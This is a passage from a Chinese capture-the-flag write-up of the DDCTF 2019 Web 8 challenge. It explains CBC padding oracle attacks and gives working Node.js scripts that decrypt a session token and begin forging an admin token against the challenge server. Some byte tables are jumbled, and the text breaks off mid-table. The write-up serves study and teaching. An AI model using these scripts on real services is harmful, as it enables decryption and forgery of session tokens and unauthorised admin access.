DDCTF 2019 Web 8 - 再来 1 杯 Java

Yelo - 2019/04/17

📎 题目

再来1杯Java

绑定Host访问:
116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/

提示1:JRMP

📎 解题过程

这题给的分数高得过份,所以当做完 Web6 后我就直接跳到了这题。

📎 First-time review

访问题目入口,提示 Try to become an administrator

从浏览器的网络面板中抓到两个 XHR:

GET /api/gen_token HTTP/1.1
Host: c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Referer: http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

HTTP/1.1 200
Server: nginx/1.15.9
Date: Sat, 04 May 2019 11:53:29 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 64
Connection: keep-alive
Set-Cookie: token=UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF; Path=/; HttpOnly

UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF
GET /api/account_info HTTP/1.1
Host: c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Referer: http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token=UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF

HTTP/1.1 200
Server: nginx/1.15.9
Date: Sat, 04 May 2019 11:53:32 GMT
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

{"id":100,"roleAdmin":false}

试着在 Burp Suite 中拦截第二个请求,并把响应体改为:{"id":100,"roleAdmin":true}

screenshot

前端便顺利进入了以管理员身份访问的界面。点击「Download 1.txt」后打开了链接:

http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=1.txt

链接提示 Something Error~ —— 说明服务端在 /api/fileDownload 的接口中也做了身份校验。

那么第一阶段的任务已经非常清晰:

graph

从生成 Token 的接口 /api/gen_token 中寻找疑点,很快便可以发现每次的响应体都是相同的内容,即便清空了浏览器缓存也一样 —— 说明 token 的值很可能不是一段单纯的 ID,甚至可能包含了原始数据(例如前面几题出现的 Cookie-Session):

UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF

看着像是 base64 后的值,试着做一次解码:

atob('UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF')
// <- "PadOracle:iv/cbcþîä&\¡j5U.#×;T¸ØZ‘½êç™lÇ#ç¿…"

Bingo! 不光确认了前面的猜测,还得到了提示信息 PadOracle:iv/cbc

📎 Padding Oracle Attack

要理解 Padding Oracle Attack,首先得了解分组加密和填充是什么。

分组加密 是一种对称密钥加密算法。它将明文分成多个等长的组 (block),使用确定的算法和对称密钥对每组分别加密解密。不同的加解密过程称为 工作模式,常见有 EBC、CBC、OFB、CFB、CTR。
由于明文长度通常不固定,因此部分工作模式 (EBC、CBC) 需要将最后一组明文在加密前以特定的方法填充至单组长度 —— 这就是 填充 的意义。
实际应用中,密文的收发双方通常会提前约定好 填充方法,其中最常见的一种是 PKCS#7 Padding —— 即需要填充 N 个字节就填充 N 个值为 N 的字节:

.... .... .... .... .... .... .... 0x01
.... .... .... .... .... .... 0x02 0x02
.... .... .... .... .... 0x03 0x03 0x03
.... .... .... .... 0x04 0x04 0x04 0x04
.... .... .... 0x05 0x05 0x05 0x05 0x05
etc.

严格地说,Padding Oracle Attack 是指密码学中利用填充校验对分组加密进行的一种攻击方式。

攻击者首先通过伪造密文产生新的填充值,如果解密程序在发现填充值不符合约定时抛出了异常,并且没有被中途捕获而是直接抛向了攻击者,那么攻击者便可以利用这一现象,穷举出能够使填充校验通过的结果,从而逐个推算出加密过程中的中间值以及明文,甚至篡改明文。

graph

这是在使用 CBC 模式 时最常提到的两个安全问题之一,另一个则是相对简单的 Bit Flipping Attack

LittleHann 在 「我对 Padding Oracle Attack 的分析和思考」 中总结了 Padding Oracle Attack 能被利用的两个前提条件:

  1. 攻击者能够获得密文(Ciphertext),以及附带在密文前面的 IV(初始化向量)
  2. 攻击者能够触发密文的解密过程,且能够知道密文的解密结果

这么描述可能还不太好理解,换一个更具体的方式表达是:

  1. 攻击者能够获得 一次 完整的密文(Ciphertext),以及这段密文使用的 IV 值(初始化向量)。
  2. 攻击者能够触发密文的解密过程,且能够知道这次解密过程 是否正常(只要知道有没有出现异常即可)。

这是因为:

明文分组和填充就是 Padding Oracle Attack 的根源所在,但是这些需要一个前提,那就是应用程序对异常的处理。当提交的加密后的数据中出现错误的填充信息时,不够健壮的应用程序解密时报错,直接抛出“填充错误”异常信息。

攻击者就是利用这个异常来做一些事情,假设有这样一个场景,一个 WEB 程序接受一个加密后的字符串作为参数,这个参数包含用户名、公司 ID 和角色 ID。参数加密使用的最安全的 CBC 模式,每一个 block 有一个初始化向量。当提交参数时,服务端的返回结果会有下面 3 种情况:

  1. 参数是一串正确的密文,分组、填充、加密都是对的,包含的内容也是正确的,那么服务端解密、检测用户权限都没有问题,返回 HTTP 200。
  2. 参数是一串错误的密文,包含不正确的 bit 填充,那么服务端解密时就会抛出异常,返回 HTTP 500 server error。
  3. 参数是一串正确的密文,包含的用户名是错误的,那么服务端解密之后检测权限不通过,但是依旧会返回 HTTP 200 戒者 HTTP 302,而不是 HTTP 500。

攻击者无需关心用户名是否正确,只需要提交错误的密文,根据 HTTP Code 即可做出攻击。根据应用程序的状态码在不知道密钥的情况下一个 bit 一个 bit 的猜解出密文对应的明文,也可以伪造出任意明文加密后的密文。

—— Padding Oracle Attack 详解 - 问题的原因

📎 验证攻击条件

那么这题 (web8) 符合这两个条件吗?

用获取账号信息的接口 /api/account_info 试试:

在使用 CBC 模式加密时,IV 值的字节长度始终和单组 (block) 明文 / 密文一致;如果 IV 值不是事先约定好,则通常放在密文前 (${iv}${cipher}) 一并输出给接收方。所以从刚才解码的 token 值可以看出,非乱码部分 (PadOracle:iv/cbc) 即 IV;后面为密文,单组长度为 16 个字节,一共两组。

const got = require('got')

async function verify (iv, cipher) {
  let response = await got('http://116.85.48.104:5023/api/account_info', {
    headers: {
      host: 'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com',
      cookie: `token=${Buffer.concat(iv, cipher).toString('base64')}`,
    },
  })
  return response.body
}

function replace (buf, position, replacement) {
  let end = position + replacement.length
  if (position < 0) {
    return replace(buf, buf.length + position, replacement)
  }
  if (end > buf.length) {
    throw new Error('The replacement will cause the result to overflow.')
  }
  return Buffer.from(buf).fill(replacement, position, end)
}

const ORIGINAL_TOKEN = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'
const ORIGINAL_IV = Buffer.from(ORIGINAL_TOKEN, 'base64').slice(0, 16)
const ORIGINAL_CIPHER = Buffer.from(ORIGINAL_TOKEN, 'base64').slice(16)

;(async () => {
  console.log(
    '---\nOriginal IV:\n%s\nOriginal Cipher:\n%s\n---',
    Buffer.from(ORIGINAL_IV, 'base64').toString('hex'),
    Buffer.from(ORIGINAL_CIPHER, 'base64').toString('hex')
  )
  // <- ---
  // <- Original IV:
  // <- 5061644f7261636c653a69762f636263
  // <- Original Cipher:
  // <- c3beeee4265ca16a35552e23d73b5417b8d85a91bdeae799086cc723e7bf1685
  // <- ---

  console.log(await verify(ORIGINAL_IV, ORIGINAL_CIPHER))
  // <- {"id":100,"roleAdmin":false}

  console.log(await verify(ORIGINAL_IV, replace(ORIGINAL_CIPHER, 15, Buffer.from('00', 'hex'))))
  // <- decrypt err~
})()
node ./crack-01.js
# ---
# Original IV:
# 5061644f7261636c653a69762f636263
# Original Cipher:
# c3beeee4265ca16a35552e23d73b5417b8d85a91bdeae799086cc723e7bf1685
# ---
# {"id":100,"roleAdmin":false}
# decrypt err~

使用原密文请求时,得到正常返回 {"id":100,"roleAdmin":false};将 Block_0 密文的最后一个字节随意篡改后得到异常返回 decrypt err~。那么再继续尝试篡改这个字节,值从 0x00 至 0xff 穷举:

// ...
const pad = require('left-pad')
const ALL_HEX = Array.from(Array(256)).map((v, i) => pad(i.toString(16), 2, 0))
// <- ['00', '01', ... 'fe', 'ff']

;(async () => {
  for (let i = 0; i < ALL_HEX.length; i++) {
    let hex = ALL_HEX[i]
    console.log(`0x${hex}`, await verify(ORIGINAL_IV, replace(ORIGINAL_CIPHER, 15, Buffer.from(hex, 'hex'))))
  }
})()
node ./crack-02.js
# 0x00 decrypt err~
# 0x01 decrypt err~
# ...
# 0x12 parse json err~
# ...
# 0x17 {"id":100,"roleAdmin":false}
# ...
# 0xfe decrypt err~
# 0xff decrypt err~
node ./crack-02.js
# 0x00 decrypt err~
# 0x01 decrypt err~
# ...
# 0x12 parse json err~
# ...
# 0x17 {"id":100,"roleAdmin":false}
# ...
# 0xfe decrypt err~
# 0xff decrypt err~

找到只有两个返回值不是 decrypt err~;其中 0x17 即是篡改前的值,所以保持正常返回;而另一个值 0x12 产生了新的返回内容:parse json err~ —— 这就是可以使解密过程正常通过的替代字节 —— 也因为解密后的明文发生了变化,不符合 JSON 序列化的结构,所以出现了新的错误提示。

这也就满足了 Padding Oracle Attack 的前提条件。

📎 破解密文

为什么这个替代字节 (0x12) 能够使解密过程正常通过呢?

在 CBC 模式的加密过程中,每一组密文都是本组明文与上一组密文异或 (XOR) 后加密 (block cipher encryption) 的结果:

这使得每组密文都依赖于本组的明文、此前所有组的明文、以及第一组所依赖的 IV;从而实现只需修改 IV 值,就能够让整串密文连锁地产生变化。

与之对应的解密过程中,则每一组明文都是本组密文解密 (block cipher decryption) 后与上一组密文异或 (XOR) 后的结果:

有趣的是,因此 CBC 模式可以多组并行解密。

这么描述有些绕口,暂且将单组密文解密 (block cipher decryption) 后的值定义为 中间值 (Intermediary value)。以题目的情况为例,只出现两组密文,解密过程即可以理解为:

graph

代入题目给出的值:

Block_0
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Cipher_Text_0 0xc3 0xbe 0xee 0xe4 0x26 0x5c 0xa1 0x6a 0x35 0x55 0x2e 0x23 0xd7 0x3b 0x54 0x17
↓ Encrypt with key ↓
Intermediary_Value_0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
Initialization_Vector 0x50 0x61 0x64 0x4f 0x72 0x61 0x63 0x6c 0x65 0x3a 0x69 0x76 0x2f 0x63 0x62 0x63
Plain_Text_0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
Block_1
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Cipher_Text_1 0xb8 0xd8 0x5a 0x91 0xbd 0xea 0xe7 0x99 0x08 0x6c 0xc7 0x23 0xe7 0xbf 0x16 0x85
↓ Encrypt with key ↓
Intermediary_Value_1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
Cipher_Text_0 0xc3 0xbe 0xee 0xe4 0x26 0x5c 0xa1 0x6a 0x35 0x55 0x2e 0x23 0xd7 0x3b 0x54 0x17
Plain_Text_1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??

在穷举篡改 Block_0 密文的最后一位字节时,Block_1 的中间值 (Intermediary_Value_1) 始终没有发生变化(只受 Block_1 密文影响),那么根据 Plain_Text_1[15] = Intermediary_Value_1[15] ^ Cipher_Text_0[15],Block_1 的最后一位明文也在不断被以穷举值篡改,产生出 256 种不同的值。这其中存在两种值能够通过 PKCS#7 Padding 填充校验:第一种是原组合,符合原填充条件;第二种是 0x01,符合填充值为一个 0x01 的填充条件。

在原填充值等于 0x01 的特殊情况中,由于 0x01 同时满足这两种条件,因此此时有且仅有这一个值 (0x01) 能够通过校验。

举两个例子:
假设原填充值是 0x03,那么能够通过校验的两种组合解密后的最后一个 Block 分别为 ..,0x??,0x03,0x03,0x03..,0x??,0x03,0x03,0x01,分别满足了 0x030x01 的填充规则。
假设原填充值是 0x01,那么能够通过校验的组合只有一种,解密后的最后一个 Block 为 ..,0x??,0x01,满足了 0x01 的填充规则。

题目中,已知当替代 Block_0 最后一位为 0x12 时,解密过程通过;根据前面的推断,此时 Block_1 明文的最后一位为 0x01

Block_1
0 ... 13 14 15
Cipher_Text_1 0xb8 ... 0xbf 0x16 0x85
↓ Encrypt with key ↓
Intermediary_Value_1 ?? ... ?? ?? ??
Cipher_Text_0 0xc3 ... 00x3b 0x54 0x17 0x12
...
Plain_Text_1 ?? ... ?? ?? ?? 0x01

那么根据 Intermediary_Value_1[i] = Cipher_Text_0[i] XOR Plain_Text_1[i] 可以反推出 Intermediary_Value_1 的倒数第一位为 0x01 ^ 0x120x13

Block_1
0 ... 13 14 15
Cipher_Text_1 0xb8 ... 0xbf 0x16 0x85
↓ Encrypt with key ↓
Intermediary_Value_1 ?? ... ?? ?? 0x13
Cipher_Text_0 0xc3 ... 0x3b 0x54 0x17 0x12
...
Plain_Text_1 ?? ... ?? ?? ?? 0x01

接着破解 Intermediary_Value_1 的倒数第二位:根据 PKCS#7 Padding,此时明文最后两位都应是 0x02;我们无法控制中间值,但可以调整 Cipher_Text_0 —— 将其最后一位值修改为 0x13 ^ 0x020x11

Block_1
0 ... 13 14 15
Cipher_Text_1 0xb8 ... 0xbf 0x16 0x85
↓ Encrypt with key ↓
Intermediary_Value_1 ?? ... ?? ?? 0x13
Cipher_Text_0 0xc3 ... 0x3b 0x54 0x17 0x12 0x11
...
Plain_Text_1 ?? ... ?? ?? 0x02 ?? 0x01 0x02

然后穷举 Cipher_Text_0 的倒数第二位,直到出现能够使解密过程通过的替代字符:

// ...
;(async () => {
  let cipher = replace(ORIGINAL_CIPHER, 15, Buffer.from('11', 'hex'))
  for (let i = 0; i < ALL_HEX.length; i++) {
    let hex = ALL_HEX[i]
    console.log(`0x${hex}`, await verify(ORIGINAL_IV, replace(cipher, 14, Buffer.from(hex, 'hex'))))
  }
})()
node ./crack-03.js
# 0x00 decrypt err~
# 0x01 decrypt err~
# ...
# 0x52 parse json err~
# ...
# 0xfe decrypt err~
# 0xff decrypt err~
node ./crack-03.js
# 0x00 decrypt err~
# 0x01 decrypt err~
# ...
# 0x52 parse json err~
# ...
# 0xfe decrypt err~
# 0xff decrypt err~

得到替代字符 0x52;再根据前面的逻辑,反推出 Intermediary_Value_1 倒数第二位为 0x02 ^ 0x520x50

Block_1
0 ... 13 14 15
Cipher_Text_1 0xb8 ... 0xbf 0x16 0x85
↓ Encrypt with key ↓
Intermediary_Value_1 ?? ... ?? 0x50 0x13
Cipher_Text_0 0xc3 ... 0x3b 0x54 0x52 0x17 0x12 0x11
...
Plain_Text_1 ?? ... ?? ?? 0x02 ?? 0x01 0x02

重复同样的步骤便能破解出这组剩余的所有中间值:

const got = require('got')

const ORIGINAL_TOKEN = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'
const ORIGINAL_IV = Buffer.from(ORIGINAL_TOKEN, 'base64').slice(0, 16)
const ORIGINAL_CIPHER = Buffer.from(ORIGINAL_TOKEN, 'base64').slice(16)

const DECRYPT_ERROR = 'decrypt err~'

async function challenge (iv, cipher) {
  let response = await got('http://116.85.48.104:5023/api/account_info', {
    headers: {
      host: 'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com',
      cookie: `token=${Buffer.concat([iv, cipher]).toString('base64')}`,
    },
  })
  return response.body.trim() !== DECRYPT_ERROR
}

const log = require('log-update')
const pad = require('left-pad')
const ALL_HEX = Array.from(Array(256)).map((v, i) => pad(i.toString(16), 2, 0))
// <- ['00', '01', ... 'fe', 'ff']

function replace (buf, position, replacement) {
  let end = position + replacement.length
  if (position < 0) {
    return replace(buf, buf.length + position, replacement)
  }
  if (end > buf.length) {
    throw new Error('The replacement will cause the result to overflow.')
  }
  return Buffer.from(buf).fill(replacement, position, end)
}

;(async () => {
  let SIZE = ORIGINAL_IV.length
  let intermediary = Buffer.alloc(ORIGINAL_CIPHER.length)
  
  console.log('--- Crack intermediary value of block 1 ---')

  for (let padding = 1; padding <= SIZE; padding++) {
    console.log('Intermediary value:', intermediary.toString('hex'))
    console.log('Current padding:', padding)

    let cipher = ORIGINAL_CIPHER
    let found

    for (let i = 1; i < padding; i++) {
      cipher = replace(cipher, SIZE - i, Buffer.from([padding ^ intermediary[ORIGINAL_CIPHER.length - i]]))
    }
    
    for (let i = 0; i < ALL_HEX.length; i++) {
      let hex = ALL_HEX[i]
      let sample = replace(cipher, SIZE - padding, Buffer.from(hex, 'hex'))
      if (sample.equals(ORIGINAL_CIPHER)) {
        log('valid (backup):', `0x${hex}`)
        found = hex
        continue
      }
      if (await challenge(ORIGINAL_IV, sample)) {
        log('valid:', `0x${hex}`)
        found = hex
        break
      }
      log('invalid:', `0x${hex}`)
    }
    if (!found) {
      throw new Error('All the challenges failed.')
    }
    intermediary[ORIGINAL_CIPHER.length - padding] = padding ^ parseInt(found, 16)
    log.done()
  }
  console.log('Intermediary value:', intermediary.toString('hex'))
})()
node ./crack-04.js
# --- Crack intermediary value of block 1 ---
# Intermediary value: 0000000000000000000000000000000000000000000000000000000000000000
# Current padding: 1
# valid: 0x12
# Intermediary value: 0000000000000000000000000000000000000000000000000000000000000013
# Current padding 2
# valid: 0x52
# ...
# Current padding 16
# valid: 0xb7
# Intermediary value: 00000000000000000000000000000000a7d3878a0466c70b59264b5ed33f5013

使用该中间值,与第一组原密文做异或,便得出第二组的明文:

const ORIGINAL_TOKEN = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'
const BLOCK_0_CIPHER = Buffer.from(ORIGINAL_TOKEN, 'base64').slice(16, 32)
const BLOCK_1_INTERMEDIARY = Buffer.from('a7d3878a0466c70b59264b5ed33f5013', 'hex')

function xor (x, y) {
  if (x.length !== y.length) {
    throw new Error('The length of two buffers is different')
  }
  let z = Buffer.alloc(x.length)
  for (let i = 0; i < z.length; i ++) {
    z[i] = x[i] ^ y[i]
  }
  return z
}

;(() => {
  let plain = xor(BLOCK_0_CIPHER, BLOCK_1_INTERMEDIARY)

  console.log('--- Plain text of block 1 ---')
  console.log(plain.toString('hex'))
  console.log(plain.toString())
})()
node ./crack-05.js
# --- Plain text of block 1 ---
# 646d696e223a66616c73657d04040404
# dmin":false}╝╝╝╝
Block_1
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Cipher_Text_1 0xb8 0xd8 0x5a 0x91 0xbd 0xea 0xe7 0x99 0x08 0x6c 0xc7 0x23 0xe7 0xbf 0x16 0x85
↓ Encrypt with key ↓
Intermediary_Value_1 0xa7 0xd3 0x87 0x8a 0x04 0x66 0xc7 0x0b 0x59 0x26 0x4b 0x5e 0xd3 0x3f 0x50 0x13
Cipher_Text_0 0xc3 0xbe 0xee 0xe4 0x26 0x5c 0xa1 0x6a 0x35 0x55 0x2e 0x23 0xd7 0x3b 0x54 0x17
Plain_Text_1 0x64 0x6d 0x69 0x6e 0x22 0x3a 0x66 0x61 0x6c 0x73 0x65 0x7d 0x04 0x04 0x04 0x04

由于填充只会出现在明文的最后一组,所以接下来当我们破解 Block_0 时,需要先裁去原最后一组密文 (Block_1),使 Block_0 成为新密文的最后一组。
继续修改前面的代码,根据这个逻辑循环破解出所有组的中间值和明文:

// ...
async function crack (iv, cipher, challenge) {
  let original = Buffer.concat([iv, cipher])
  let size = iv.length
  let intermediary = Buffer.alloc(cipher.length)
  let plain

  console.log('--- Crack start ---')

  for (let block = 0; block * size < cipher.length; block++) {
    console.log('Current block:', block)

    for (let padding = 1; padding <= size; padding++) {
      console.log('Intermediary value:', intermediary.toString('hex'))
      console.log('Current block: %s, padding: %s', block, padding)
  
      let input = Buffer.concat([iv, cipher.slice(0, size * (block + 1))])
      let found
        
      for (let i = 1; i < padding; i++) {
        input = replace(input, size * (block + 1) - i, Buffer.from([padding ^ intermediary[size * (block + 1) - i]]))
      }
      
      for (let i = 0; i < ALL_HEX.length; i++) {
        let hex = ALL_HEX[i]
        let sample = replace(input, size * (block + 1) - padding, Buffer.from(hex, 'hex'))
        if (sample.equals(original)) {
          log('key found: (backup)', `0x${hex}`)
          found = hex
          continue
        }
        if (await challenge(sample.slice(0, size), sample.slice(size))) {
          log('key found:', `0x${hex}`)
          found = hex
          break
        }
        log('invalid:', `0x${hex}`)
      }
      
      if (!found) {
        throw new Error('All the challenges failed.')
      }
      intermediary[size * (block + 1) - padding] = padding ^ parseInt(found, 16)
      log.done()
    }
    console.log('Intermediary value:', intermediary.toString('hex'))
  }

  plain = xor(original.slice(0, intermediary.length), intermediary)
  console.log('Plain text:', plain.toString())
  console.log('Plain text (hex):', plain.toString('hex'))
  console.log('---  Crack end  ---')

  return {
    intermediary,
    plain,
  }
}

// ...

;(async () => {
  await crack(ORIGINAL_IV, ORIGINAL_CIPHER, challenge)
})()
node ./crack-06.js
# --- Crack start ---
# Current block: 0
# Intermediary value: 0000000000000000000000000000000000000000000000000000000000000000
# Current block: 0, padding: 1
# key found: 0x23
# ...
# Current block: 1, padding: 16
# key found: 0xb7
# Intermediary value: 2b430d2b505b525c55164b04400f0722a7d3878a0466c70b59264b5ed33f5013
# Plain text: {"id":100,"roleAdmin":false}╝╝╝╝
# Plain text (hex): 7b226964223a3130302c22726f6c6541646d696e223a66616c73657d04040404
# --- Crack end ---
node ./crack-06.js
# --- Crack start ---
# Current block: 0
# Intermediary value: 0000000000000000000000000000000000000000000000000000000000000000
# Current block: 0, padding: 1
# key found: 0x23
# ...
# Current block: 1, padding: 16
# key found: 0xb7
# Intermediary value: 2b430d2b505b525c55164b04400f0722a7d3878a0466c70b59264b5ed33f5013
# Plain text: {"id":100,"roleAdmin":false}╝╝╝╝
# Plain text (hex): 7b226964223a3130302c22726f6c6541646d696e223a66616c73657d04040404
# ---  Crack end  ---

得出明文 Hex 为 7b226964223a3130302c22726f6c6541646d696e223a66616c73657d04040404,其中最后四位符合 PKCS#7 Padding,为填充值;因此明文为 {"id":100,"roleAdmin":false}

📎 篡改明文

接下来的目标毫无疑问是让明文中 roleAdmin 的值变为真。

能够大概率满足条件的骚操作有很多,例如:

  • {"id":100,"roleAdmin": true}\x04\x04\x04\x04
  • {"id":100,"roleAdmin":"als"}\x04\x04\x04\x04 (也许能够通过 Bit Flipping Attack 撞出结果)
  • {"id":100,"roleAdmin":1}\x08\x08\x08\x08\x08\x08\x08\x08
  • {"roleAdmin":1}\x01 (不必重新计算中间值)

但既然原理都一样,这里我选择最稳健的 {"id":100,"roleAdmin":true}\x05\x05\x05\x05\x05

计算一下明文十六进制值的变化:

const ORIGINAL_PLAIN = Buffer.from('{"id":100,"roleAdmin":false}\x04\x04\x04\x04')
const TARGET_PLAIN = Buffer.from('{"id":100,"roleAdmin":true}\x05\x05\x05\x05\x05')

console.log('Plain text 0')
console.log('before: ', ORIGINAL_PLAIN.slice(0, 16))
console.log('after : ', TARGET_PLAIN.slice(0, 16))
console.log('Plain text 1')
console.log('before: ', ORIGINAL_PLAIN.slice(16))
console.log('after : ', TARGET_PLAIN.slice(16))
node ./crack-07.js
# Plain text 0
# before:  <Buffer 7b 22 69 64 22 3a 31 30 30 2c 22 72 6f 6c 65 41>
# after :  <Buffer 7b 22 69 64 22 3a 31 30 30 2c 22 72 6f 6c 65 41>
# Plain text 1
# before:  <Buffer 64 6d 69 6e 22 3a 66 61 6c 73 65 7d 04 04 04 04>
# after :  <Buffer 64 6d 69 6e 22 3a 74 72 75 65 7d 05 05 05 05 05>

在 Block_1 中代入新的明文值:

Block_1
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Cipher_Text_1 0xb8 0xd8 0x5a 0x91 0xbd 0xea 0xe7 0x99 0x08 0x6c 0xc7 0x23 0xe7 0xbf 0x16 0x85
↓ Encrypt with key ↓
Intermediary_Value_1 0xa7 0xd3 0x87 0x8a 0x04 0x66 0xc7 0x0b 0x59 0x26 0x4b 0x5e 0xd3 0x3f 0x50 0x13
Cipher_Text_0 0xc3 0xbe 0xee 0xe4 0x26 0x5c 0xa1 0x6a 0x35 0x55 0x2e 0x23 0xd7 0x3b 0x54 0x17
Plain_Text_1 0x64 0x6d 0x69 0x6e 0x22 0x3a 0x66 0x74 0x61 0x72 0x6c 0x75 0x73 0x65 0x65 0x7d 0x7d 0x05 0x04 0x05 0x04 0x05 0x04 0x05 0x04 0x05
× × × × × × × × × ×

由于 Intermediary_Value_1 不受控制,所以为了使算式重新成立,只能修改 Cipher_Text_0 的值了:

// ...
const ORIGINAL_INTERMEDIARY = Buffer.from('2b430d2b505b525c55164b04400f0722a7d3878a0466c70b59264b5ed33f5013', 'hex')

let TARGET_CIPHER_0 = xor(ORIGINAL_INTERMEDIARY.slice(16), TARGET_PLAIN.slice(16))
console.log(TARGET_CIPHER_0)
node ./crack-08.js
# <Buffer c3 be ee e4 26 5c b3 79 2c 43 36 5b d6 3a 55 16>

代入 Block_1:

Block_1
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Cipher_Text_1 0xb8 0xd8 0x5a 0x91 0xbd 0xea 0xe7 0x99 0x08 0x6c 0xc7 0x23 0xe7 0xbf 0x16 0x85
↓ Encrypt with key ↓
Intermediary_Value_1 0xa7 0xd3 0x87 0x8a 0x04 0x66 0xc7 0x0b 0x59 0x26 0x4b 0x5e 0xd3 0x3f 0x50 0x13
Cipher_Text_0 0xc3 0xbe 0xee 0xe4 0x26 0x5c 0xa1 0xb3 0x6a 0x79 0x35 0x2c 0x55 0x43 0x2e 0x36 0x23 0x5b 0xd7 0xd6 0x3b 0x3a 0x54 0x55 0x17 0x15
Plain_Text_1 0x64 0x6d 0x69 0x6e 0x22 0x3a 0x66 0x74 0x61 0x72 0x6c 0x75 0x73 0x65 0x65 0x7d 0x7d 0x05 0x04 0x05 0x04 0x05 0x04 0x05 0x04 0x05

Block_1 是没问题了,但 Cipher_Text_0 在 Block_0 中经黑盒 Encrypt with key 加密后,产生了全新的中间值 (Intermediary_Value_0):

Block_0
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Cipher_Text_0 0xc3 0xbe 0xee 0xe4 0x26 0x5c 0xa1 0xb3 0x6a 0x79 0x35 0x2c 0x55 0x43 0x2e 0x36 0x23 0x5b 0xd7 0xd6 0x3b 0x3a 0x54 0x55 0x17 0x15
↓ Encrypt with key ↓
Intermediary_Value_0 0x2b ?? 0x43 ?? 0x0d ?? 0x2b ?? 0x50 ?? 0x5b ?? 0x52 ?? 0x5c ?? 0x55 ?? 0x16 ?? 0x4b ?? 0x04 ?? 0x40 ?? 0x0f ?? 0x07 ?? 0x22 ??
Initialization_Vector 0x50 0x61 0x64 0x4f 0x72 0x61 0x63 0x6c 0x65 0x3a 0x69 0x76 0x2f 0x63 0x62 0x63
Plain_Text_0 0x7b ?? 0x22 ?? 0x69 ?? 0x64 ?? 0x22 ?? 0x3a ?? 0x31 ?? 0x30 ?? 0x30 ?? 0x2c ?? 0x22 ?? 0x72 ?? 0x6f ?? 0x6c ?? 0x65 ?? 0x41 ??

这画面似曾相似 —— 和第一次将值代入 Block_0 时的状态一样。

故技重施,破解出此时的中间值:

// ...
const CIPHER = Buffer.from('c3beeee4265cb3792c43365bd63a5516', 'hex')

;(async () => {
  await crack(ORIGINAL_IV, CIPHER, challenge)
})()
node ./crack-09.js
# --- Crack start ---
# Current block: 0
# Intermediary value: 00000000000000000000000000000000
# Current block: 0, padding: 1
# key found: 0x9a
# ...
# Current block: 0, padding: 16
# key found: 0x10
# Intermediary value: 00df71d27118c10e13141c66fc84619b
# Plain text: P��╚y�bv.u��╚�
# Plain text (hex): 50be159d0379a262762e7510d3e703f8
# ---  Crack end  ---

参照前面在 Block_1 替换明文做的步骤,将原明文 {"id":100,"roleA 代入此时的 Plain_Text_0,并计算出 Initialization_Vector:

Block_0
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Cipher_Text_0 0xc3 0xbe 0xee 0xe4 0x26 0x5c 0xa1 0xb3 0x6a 0x79 0x35 0x2c 0x55 0x43 0x2e 0x36 0x23 0x5b 0xd7 0xd6 0x3b 0x3a 0x54 0x55 0x17 0x15
↓ Encrypt with key ↓
Intermediary_Value_0 0x2b ?? 0x00 0x43 ?? 0xdf 0x0d ?? 0x71 0x2b ?? 0xd2 0x50 ?? 0x71 0x5b ?? 0x18 0x52 ?? 0xc1 0x5c ?? 0x0e 0x55 ?? 0x13 0x16 ?? 0x14 0x4b ?? 0x1c 0x04 ?? 0x66 0x40 ?? 0xfc 0x0f ?? 0x84 0x07 ?? 0x61 0x22 ?? 0x9b
